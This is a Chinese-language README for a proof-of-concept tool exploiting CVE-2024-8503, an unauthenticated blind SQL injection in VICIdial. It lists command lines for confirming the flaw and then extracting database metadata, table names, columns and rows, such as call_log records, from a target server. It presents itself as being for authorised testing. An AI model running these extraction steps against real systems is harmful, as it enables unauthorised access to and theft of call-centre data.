针对 VICIdial 的 VERM_AJAX_functions.php 端点(CVE-2024-8503)的未认证基于时间的盲 SQL 注入概念验证。本项目仅用于授权的安全测试、验证和教育目的。
CVE-2024-8503 是 VICIdial 中的一个未认证 SQL 注入漏洞,精心构造的 Basic Auth 用户名值可以到达 VERM_AJAX_functions.php 中的易受攻击查询逻辑。此 PoC 使用基于时间的推断来确认可利用性,并以受控方式提取有限的元数据和表数据。
此版本强制执行严格的 PoC 限制:
requests安装依赖:
pip install requests
运行本地自检以确认配置,无需发起任何网络请求:
python3 CVE-2024-8503-POC.py --self-check
运行基本非交互式扫描:
python3 CVE-2024-8503-POC.py --url https://target.tld
交互模式是面向操作员驱动的测试的独立工作流。当您希望手动逐步执行提取任务而不是运行单个命令时,它非常有用。
python3 CVE-2024-8503-POC.py --url https://target.tld --interactive
交互菜单支持元数据提取、表和列发现、手动提取、自动提取、自定义查询以及可恢复的完整扫描。
当您希望不进入交互菜单而执行特定任务时,请使用以下命令。
提取元数据:
python3 CVE-2024-8503-POC.py --url https://target.tld --metadata db_version database db_user
列出表:
python3 CVE-2024-8503-POC.py --url https://target.tld --list-tables
获取表的列:
python3 CVE-2024-8503-POC.py --url https://target.tld --get-columns call_log
提取特定列:
python3 CVE-2024-8503-POC.py --url https://target.tld --table call_log --columns uniqueid,channel --rows 3
自动提取表数据:
python3 CVE-2024-8503-POC.py --url https://target.tld --auto-extract call_log
完整扫描:
python3 CVE-2024-8503-POC.py --url https://target.tld --full-scan
自定义查询(仅限 SELECT):
python3 CVE-2024-8503-POC.py --url https://target.tld --custom-query "SELECT DATABASE()"
可选参数:
--path 更改端点路径(默认:/VERM/VERM_AJAX_functions.php)--skip-vuln-check 跳过初始确认探测--export 保存结果(元数据/完整扫描为 JSON,表数据为 CSV)进度会自动保存到:
.vicidial_scan_state.json
如果检测到先前的扫描,脚本将提供恢复或清除状态的选项。
LICENSE 文件;本 README 假定为 MIT。此工具仅供授权的安全测试和教育目的使用。未经授权访问计算机系统属于违法行为。在测试任何不属于您自己的系统之前,您必须获得明确的书面许可。作者不对因使用此工具而导致的滥用或损害承担任何责任。
本项目根据 MIT 许可证授权。详情请参阅仓库根目录下的 LICENSE 文件。